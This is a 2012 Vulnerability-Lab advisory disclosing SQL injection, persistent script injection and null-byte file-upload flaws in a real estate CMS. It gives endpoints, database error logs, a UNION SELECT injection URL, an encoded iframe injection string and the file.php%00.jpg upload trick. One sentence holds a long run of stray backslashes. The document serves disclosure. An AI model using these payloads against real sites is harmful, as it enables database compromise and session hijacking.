Document Title: =============== Real Estates Property CMS 2012 - Multiple Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=500 Release Date: ============= 2012-04-30 Vulnerability Laboratory ID (VL-ID): ==================================== 500 Common Vulnerability Scoring System: ==================================== 8 Product & Service Introduction: =============================== Real Estate property is an online real-estate service committed to helping you make wise and profitable decisions related to buying, selling, renting and leasing of properties, in India and key global geographies. It will provide a fresh new approach to our esteemed users to search for properties to buy or rent, and list their properties for selling or leasing. (Copy of the Vendor Homepage: http://www.gharwhar.com) Abstract Advisory Information: ============================== The Vulnerability Laboratory Researcher Team discovered multiple Web Vulnerabilities in REAL Estate Property web application. Vulnerability Disclosure Timeline: ================================== 2012-05-02: Public or Non-Public Disclosure Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ 1.1 A remote SQL Injection vulnerability is detected on Real Estates property website cms 2012 Q2. The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands on the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise. Vulnerable Module(s): [+] Project-Shree_Balaji_-Ahmedabad-4 [+] property_listings_detail.php?listingid=12[ [+] my_account_edit_builder_project.php?id=37%27 [+] my_account_view_builder_project.php?id=37 --- SQL Exception Logs --- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near Approve AND proj_featured= yes at line 1 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near Approved AND proj_featured= yes at line 1 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 37 at line 1 Picture(s): ../1.png ../2.png ../3.png ../4.png 1.2 A persistent input validation vulnerabilities are detected Real Estates property website cms 2012 Q2. The bugs allow remote attackers to implement/inject malicious script code on the application-side (persistent). Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation. Exploitation requires low user inter action. Vulnerable Module(s): [+] Create Object - Project Name / Title/Short Description/Project TypeProject Location / Address/Contact Person/Address 1.3 Arbiritrary File Upload Arbitrary file upload vulnerability allows the attacker to upload different files that aren\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'t images or pdf. The attacker can upload these files after, he/she remans them to file.php%00.jpg. The null byte get truncated and the the file file.php get uploaded Vulnerable Module(s): [+] Property Details - uploading propertied photos [+] add profile photo Proof of Concept (PoC): ======================= The sql vulnerabilities can be exploited by remote attackers without required user inter action. For demonstration or reproduce ... 1.1 [+] Project-Shree_Balaji_-Ahmedabad-4[Blind SQL-Injection] [+] property_listings_detail.php?listingid=12[SQL-Injection] [+] my_account_edit_builder_project.php?id=37%27[SQL-Injection] [+] my_account_view_builder_project.php?id=37[SQL-Injection] PoC: http://xxx.com/my_account_edit_builder_project.php?id=37%27+/*!UNION*/+/*!SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15, 16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45--%20- 1.2 The input validation vulnerabilities can be exploited by remote attackers or local low privileged user account with medium till high required user inter action. String: %3E%22%3E%22%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%76%75%6C%6E%65%72%61%62%69%6C%69%74%79%2D%6C%61%62%2E%63%6F%6D%3E Security Risk: ============== 1.1 The security risk of the pre auth sql injection vulnerabilities are estimated as critical. 1.2 The security risk of the persistent input validation vulnerabilities are estimated as medium. 1.3 The security risk of the Arbitrary File upload bug is estimated as high(+). Credits & Authors: ================== Vulnerability Laboratory [Research Team] - the_storm (storm@vulnerability-lab.com) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission. Copyright © 2012 | Vulnerability Laboratory